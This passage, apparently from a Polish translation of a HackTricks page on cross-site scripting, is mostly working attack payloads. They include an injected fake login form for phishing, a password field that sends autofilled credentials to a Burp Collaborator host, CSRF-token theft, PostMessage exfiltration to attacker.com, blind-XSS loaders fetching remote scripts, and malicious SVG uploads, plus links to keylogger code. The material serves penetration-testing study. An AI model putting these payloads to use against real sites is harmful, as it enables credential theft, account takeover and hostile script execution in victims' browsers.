<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Przechwytywanie automatycznego wypełniania haseł
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kiedy wprowadzone zostaną jakiekolwiek dane w polu hasła, nazwa użytkownika i hasło zostaną wysłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wycieknięte.
Keylogger
Tylko przeszukując w githubie znalazłem kilka różnych:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Możesz także użyć metasploita
http_javascript_keylogger
Kradzież tokenów CSRF
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Kradzież wiadomości PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Nadużywanie pracowników usługi
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Uzyskiwanie dostępu do Shadow DOM
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Poligloci
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Ładunki Blind XSS
Możesz również użyć: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Regex - Dostęp do ukrytej zawartości
Z tego opisu można dowiedzieć się, że nawet jeśli niektóre wartości znikają z JS, wciąż można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, po usunięciu wartości wejścia REGEX, wciąż można ją znaleźć.
// Do regex with flag
flag="CTF{FLAG}"
re=/./g
re.test(flag);
// Remove flag value, nobody will be able to get it, right?
flag=""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"])
Lista Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
Wykorzystywanie innych podatności XSS
XSS w Markdown
Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Być może można uzyskać XSS! Sprawdź:
{% content-ref url="xss-in-markdown.md" %} xss-in-markdown.md {% endcontent-ref %}
XSS do SSRF
Masz XSS na stronie korzystającej z pamięci podręcznej? Spróbuj zaktualizować to do SSRF poprzez Wstrzyknięcie Include Edge Side za pomocą tego payloadu:
<esi:include src="http://yoursite.com/capture" />
Użyj go do ominięcia ograniczeń plików cookie, filtrów XSS i wiele więcej!
Więcej informacji na temat tej techniki znajdziesz tutaj: XSLT.
XSS w dynamicznie tworzonych plikach PDF
Jeśli strona internetowa tworzy plik PDF przy użyciu kontrolowanego przez użytkownika wejścia, możesz spróbować oszukać bota, który tworzy plik PDF, aby wykonał dowolny kod JS.
Jeśli więc bot tworzący PDF znajdzie jakieś rodzaje tagów HTML, będzie je interpretować, a ty możesz wykorzystać to zachowanie, aby spowodować Server XSS.
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
Jeśli nie możesz wstrzyknąć tagów HTML, warto spróbować wstrzyknąć dane PDF:
{% content-ref url="pdf-injection.md" %} pdf-injection.md {% endcontent-ref %}
XSS w Amp4Email
AMP, mający na celu przyspieszenie wydajności strony internetowej na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów do różnych funkcji, dostępnych za pośrednictwem komponentów AMP.
Format AMP for Email rozszerza konkretne komponenty AMP na maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w swoich mailach.
Przykładowy opis XSS w Amp4Email w Gmailu.
XSS wgrywanie plików (svg)
Wgraj jako obraz plik podobny do poniższego (ze strony http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Znajdź więcej ładunków SVG w https://github.com/allanlw/svg-cheatsheet
Różne sztuczki JS i istotne informacje
{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}
Zasoby dotyczące XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
Jeśli interesuje Cię kariera w hakerstwie i hakowanie niemożliwych do zhakowania rzeczy - rekrutujemy! (wymagana biegła znajomość języka polskiego w mowie i piśmie).
{% embed url="https://www.stmcyber.com/careers" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.